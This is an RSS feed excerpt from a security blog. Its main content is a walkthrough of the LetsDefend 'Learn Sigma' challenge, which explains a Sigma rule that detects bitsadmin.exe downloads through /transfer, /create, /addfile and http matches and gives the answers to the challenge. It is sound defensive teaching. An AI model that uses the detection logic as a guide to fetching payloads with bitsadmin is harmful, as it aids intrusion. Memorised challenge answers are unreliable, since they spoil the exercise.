&lt;a class=&#34;link&#34; href=&#34;https://socket.dev/blog/npm-phishing-campaign-leads-to-prettier-tooling-packages-compromise&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://socket.dev/blog/npm-phishing-campaign-leads-to-prettier-tooling-packages-compromise&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;VirusTotal — node-gyp.dll:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441/detection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;National Vulnerability Database (NVD) — CVE-2025€“54313&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2025-54313&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/CVE-2025-54313&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Malpedia — Scavenger:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;NPM Audit:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Snyk Advisor:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://snyk.io/advisor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://snyk.io/advisor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Socket:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://socket.dev/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://socket.dev/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;OWASP Dependency-Check:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://owasp.org/www-project-dependency-check/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://owasp.org/www-project-dependency-check/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  —  Learn Sigma Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/</link>
            <pubDate>Mon, 10 Nov 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  —  Learn Sigma Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--learn-sigma-challenge-walkthrough&#34;&gt;LetsDefend — Learn Sigma Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-beginners-challenge-in-sigma-rule-analysis&#34;&gt;A Beginner&amp;rsquo;s Challenge in Sigma Rule Analysis.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/learn-sigma&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/learn-sigma&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/learn-sigma&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Learn Sigma&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. If you&amp;rsquo;ve ever been curious about &lt;strong&gt;Sigma&lt;/strong&gt; rules or how to read them, this beginner-friendly challenge is for you!&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your organization has detected a ransomware infection on one of its critical systems, and it is imperative that you address this issue immediately. This type of malware searches for valuable files, such as sensitive documents and configuration files, and encrypts them using a strong encryption algorithm.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The investigation has revealed that the ransomware may have used the Windows utility bitsadmin.exe to download additional malicious payloads or communicate with its command-and-control (C2) server.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your task is to carefully review the Sigma rule, answer the related questions, and understand how different rule sections (selection, condition, fields, tags, logsource) work together to detect malicious activity.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our detection engineering hats and need to leverage a &lt;em&gt;Sigma&lt;/em&gt; rule to analyze logs related to a ransomware infection. But first, we need to review the rule, understand how it works, and clarify what&amp;rsquo;s in scope — just to be sure we don&amp;rsquo;t miss anything.&lt;/p&gt;&#xA;&lt;p&gt;If any of this sounds new or confusing, don&amp;rsquo;t worry! I&amp;rsquo;ll walk through each step clearly, and by the end, you&amp;rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt; for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;sigma-rules101&#34;&gt;Sigma Rules 101:&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump into this challenge, let&amp;rsquo;s have a quick, informational overview of what &lt;strong&gt;Sigma&lt;/strong&gt; rules are and how they&amp;rsquo;re structured to better inform our answers. For this, we&amp;rsquo;ll lean on the excellent &lt;em&gt;Sigma&lt;/em&gt; documentation available here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html&#34;  title=&#34;https://sigmahq.io/docs/basics/rules.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Explore Sigma&lt;/strong&gt;&#xA;_A generic and open signature format that allows you to describe relevant log events in a straight-forward manner._sigmahq.io&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the documentation, we can understand that &lt;em&gt;Sigma rules&lt;/em&gt; are &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;_YAML_&lt;/code&gt; &lt;em&gt;files that contain all the information required to detect odd, bad or malicious behaviour when inspecting log files €“ usually within the context of a&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Security_information_and_event_management?useskin=vector&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;SIEM&lt;/em&gt;&lt;/a&gt;_.&amp;ldquo;Put another way, &lt;em&gt;Sigma rules&lt;/em&gt; can be used to identify targeted suspicious or malicious activity by matching patterns against log data.&lt;/p&gt;&#xA;&lt;p&gt;To organize these rules in a uniform schema, &lt;em&gt;Sigma rules&lt;/em&gt; contain three primary sections:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Detection:&lt;/strong&gt; &amp;quot; # &amp;ldquo;What malicious behaviour the rule searching for.&amp;ldquo;2. &lt;strong&gt;Logsource:&lt;/strong&gt; &amp;quot; # &amp;ldquo;What types of logs this detection should search over.&amp;ldquo;3. &lt;strong&gt;Metadata:&lt;/strong&gt; &amp;quot; # &amp;ldquo;Other information about the detection.&amp;ldquo;With this basic understanding, we&amp;rsquo;re well-equipped to take on this challenge and analyze the &lt;em&gt;Sigma rule&lt;/em&gt;! I encourage you to check out the documentation if you&amp;rsquo;re curious and want more detailed information. Let&amp;rsquo;s get to it!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;question-1-which-executable-file-was-specifically-targeted-by-this-sigmarule&#34;&gt;Question 1: Which executable file was specifically targeted by this Sigma rule?&#xA;&lt;/h3&gt;&lt;p&gt;Go ahead and open the &lt;code&gt;ChallengeFile&lt;/code&gt; folder, where we&amp;rsquo;ll find the Sigma rule contained in the &lt;code&gt;proc_creation_win_bitsadmin_download.yml&lt;/code&gt;. This is the YAML file we&amp;rsquo;ll need to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;768px&#34; data-flex-grow=&#34;320&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/726fcd78ba54aefe469956e759c0951c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To review the contents, we can open the YAML file in a text editor. For this walkthrough, I&amp;rsquo;ll be using &lt;strong&gt;Notepad++&lt;/strong&gt; since it makes it easier to view and explain structured files like this. With the file open, we need to identify which executable file is targeted by the rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/33994e54b6a96af6c15af7595e303cb2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the executable file targeted by the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;On line 23, under the &lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html#detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Detection&lt;/em&gt;&lt;/a&gt; section, we can see that in the &lt;code&gt;selection_img&lt;/code&gt; field, the rule is targeting &lt;code&gt;bitsadmin.exe&lt;/code&gt;. &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Bitsadmin&lt;/strong&gt;&lt;/a&gt; is a legitimate Windows binary used to create, download, or upload jobs and to monitor their progress. However, it can also be abused by attackers to download malware or other malicious payloads (see &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1197/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1197 — BITS Jobs&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2109px&#34; data-flex-grow=&#34;879&#34; height=&#34;91&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/f6030772456061a624b7d0388f46e215_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-command-line-option-is-used-to-indicate-a-file-transfer-in-thisrule&#34;&gt;Question 2: What command-line option is used to indicate a file transfer in this rule?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to determine which &lt;em&gt;Bitsadmin&lt;/em&gt; command-line option is used to perform a file transfer with the tool. We can find this on line 26, where the &lt;code&gt;selection_cmd&lt;/code&gt; field is targeting the &lt;code&gt;/transfer&lt;/code&gt; command-line switch.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/67822c506d83bb3747bad315fbe86079_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the command-line option in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;The presence of the &lt;code&gt;/transfer&lt;/code&gt; switch tells us that the rule is searching for the use of &lt;em&gt;bitsadmin&lt;/em&gt; in the context of file transfer activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/48c77d3912027c68ddf2e4760222427e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-logical-expression-in-the-condition-field-combined-the-criteria-to-trigger-thisrule&#34;&gt;Question 3: What logical expression in the condition field combined the criteria to trigger this rule?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we&amp;rsquo;ll need to identify the logical expression in the &lt;em&gt;condition&lt;/em&gt; field that defines the criteria for the rule to trigger. This combination ties together the definitions we explored in the previous questions to build the rule&amp;rsquo;s logic.&lt;/p&gt;&#xA;&lt;p&gt;We can find the &lt;em&gt;condition&lt;/em&gt; field on line 33, where it shows:&lt;/p&gt;&#xA;&lt;p&gt;selection_img and (selection_cmd or all of selection_cli_*)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;166&#34; height=&#34;480&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/6504152c5feae17c1bbddc0555800ae9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the condition field in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;So, what does this mean? It means the detection rule is searching for &lt;em&gt;bitsadmin.exe&lt;/em&gt; activity &lt;strong&gt;with&lt;/strong&gt; the &lt;code&gt;/transfer&lt;/code&gt; argument &lt;strong&gt;or&lt;/strong&gt; where the &lt;code&gt;CommandLine&lt;/code&gt; field contains &lt;code&gt;/create&lt;/code&gt;, &lt;code&gt;/addfile&lt;/code&gt;, and &lt;code&gt;http&lt;/code&gt;—all of which are strong indicators of file download activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/d57f1255cddbaf5f4a5ba28efd4b8674_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-specific-field-did-this-rule-capture-that-shows-the-command-being-executed&#34;&gt;Question 4: Which specific field did this rule capture that shows the command being executed?&#xA;&lt;/h3&gt;&lt;p&gt;We touched on this in &lt;strong&gt;Question 2&lt;/strong&gt;, but to answer &lt;strong&gt;Question 4&lt;/strong&gt; we need to determine the specific field the rule captures that shows the command being executed.&lt;/p&gt;&#xA;&lt;p&gt;We can find this information on line 34, under the &lt;em&gt;fields&lt;/em&gt; section of the rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;167&#34; height=&#34;479&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/4ecd2cb93c8ad4650f46c53f1672302b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the CommandLine field in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;This tells us that the &lt;code&gt;CommandLine&lt;/code&gt; field must be present for the rule to run. That field is where the rule looks for command-line definitions like &lt;code&gt;/transfer&lt;/code&gt;, or the combination of values in the &lt;code&gt;selection_cli_*&lt;/code&gt; group — including &lt;code&gt;/create&lt;/code&gt;, &lt;code&gt;/addfile&lt;/code&gt;, and &lt;code&gt;http&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/85df95474f27f7496efb7cc1b781c99b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-which-single-attck-tactic-tag-is-listed-first-in-thisrule&#34;&gt;Question 5: Which single ATT&amp;amp;CK tactic tag is listed first in this rule?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we&amp;rsquo;ll turn our attention to the &lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html#metadata&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Metadata&lt;/em&gt;&lt;/a&gt; section near the top of the rule. Under the &lt;code&gt;tags&lt;/code&gt; field, we&amp;rsquo;ll see a list of ATT&amp;amp;CK tactic and technique references.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;401px&#34; data-flex-grow=&#34;167&#34; height=&#34;478&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/7500a0d37b4c52feccb4e446849670ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the first MITRE ATT&amp;amp;CK tactic listed in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;The answer to the question is the first item in the list on line 13: &lt;code&gt;attack.defense-evasion&lt;/code&gt;. The &lt;code&gt;attack.&lt;/code&gt; prefix tells us this is a MITRE ATT&amp;amp;CK reference. In this case, the first tactic listed is &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TA0005 €“ Defense Evasion&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0005/&#34;  title=&#34;https://attack.mitre.org/tactics/TA0005/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Defense Evasion&lt;/strong&gt;&#xA;_Build Image on Host Adversaries may build a container image directly on a host to bypass defenses that monitor for the&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/61ccc32f236faced84bf771afdae18f9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-primary-category-of-events-that-this-sigma-rule-was-written-tomonitor&#34;&gt;Question 6: What is the primary category of events that this Sigma rule was written to monitor?&#xA;&lt;/h3&gt;&lt;p&gt;The next component of this &lt;em&gt;Sigma&lt;/em&gt; rule we need to analyze is the &lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html#logsources&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Logsource&lt;/em&gt;&lt;/a&gt; section, starting on line 18. Remember from our &lt;em&gt;Sigma&lt;/em&gt; overview that this section &amp;ldquo;is used to specify what log data should be searched by the rule.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;403px&#34; data-flex-grow=&#34;168&#34; height=&#34;476&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/f14fa61ed217bb8129215baaac2049ab_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the primary Logsource category in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;category&lt;/code&gt; field indicates the type of events being monitored. In this case, the rule is written to detect &lt;strong&gt;Windows process creation&lt;/strong&gt; events (usually Event ID 4688), which is a common source for identifying suspicious command-line execution — &lt;em&gt;keep that one in your back pocket!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/b68d25b015f545b8c1717e457dc973e5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-specific-command-line-argument-did-this-rule-look-for-to-identify-http-based-downloads&#34;&gt;Question 7: What specific command-line argument did this rule look for to identify HTTP-based downloads?&#xA;&lt;/h3&gt;&lt;p&gt;We touched on command-line arguments targeted by the rule back in &lt;strong&gt;Question 3&lt;/strong&gt; and &lt;strong&gt;Question 4&lt;/strong&gt;. Recall that one of the conditions included a check for &lt;code&gt;http&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;166&#34; height=&#34;480&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/5fbff3d783391a81ae87531a99e23ae0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the http command-line option in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;This helps identify suspicious or malicious use of &lt;em&gt;bitsadmin&lt;/em&gt; to grab payloads over HTTP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/36bc6b3c7b6d7489d8ea465bb35553a0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-which-command-line-option-must-be-present-to-create-a-new-transfer-using-bitsadmin&#34;&gt;Question 8: Which command-line option must be present to create a new transfer using bitsadmin?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question of our &lt;em&gt;Sigma&lt;/em&gt; rule analysis — nice job! The final object we need to identify is another one we touched on in &lt;strong&gt;Question 3&lt;/strong&gt; and &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 8&lt;/strong&gt;, we&amp;rsquo;ll want to look at line 29, which shows the &lt;code&gt;/create&lt;/code&gt; value. In the context of &lt;em&gt;bitsadmin&lt;/em&gt;, the &lt;code&gt;/create&lt;/code&gt; argument is used to initiate a new transfer job — which is exactly what we need to wrap up our analysis!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;403px&#34; data-flex-grow=&#34;168&#34; height=&#34;476&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/965a15530dd87e6d1ba56854c3ac49ba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the /create command-line option in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/34cbfb8aeaad9e1fee37885ec63b0f97_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;553px&#34; data-flex-grow=&#34;230&#34; height=&#34;347&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/60977bd50e6ecdb82e61dcffcacfd1cb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that? A big thank you to &lt;strong&gt;LetsDefend&lt;/strong&gt; for putting together another solid, beginner-friendly challenge.&lt;/p&gt;&#xA;&lt;p&gt;This investigation was a great introduction to &lt;strong&gt;Sigma rules&lt;/strong&gt; and how they&amp;rsquo;re used to detect suspicious behavior in log data. We explored how rules are structured, how they leverage fields like &lt;code&gt;CommandLine&lt;/code&gt;, and how they align with &lt;strong&gt;MITRE 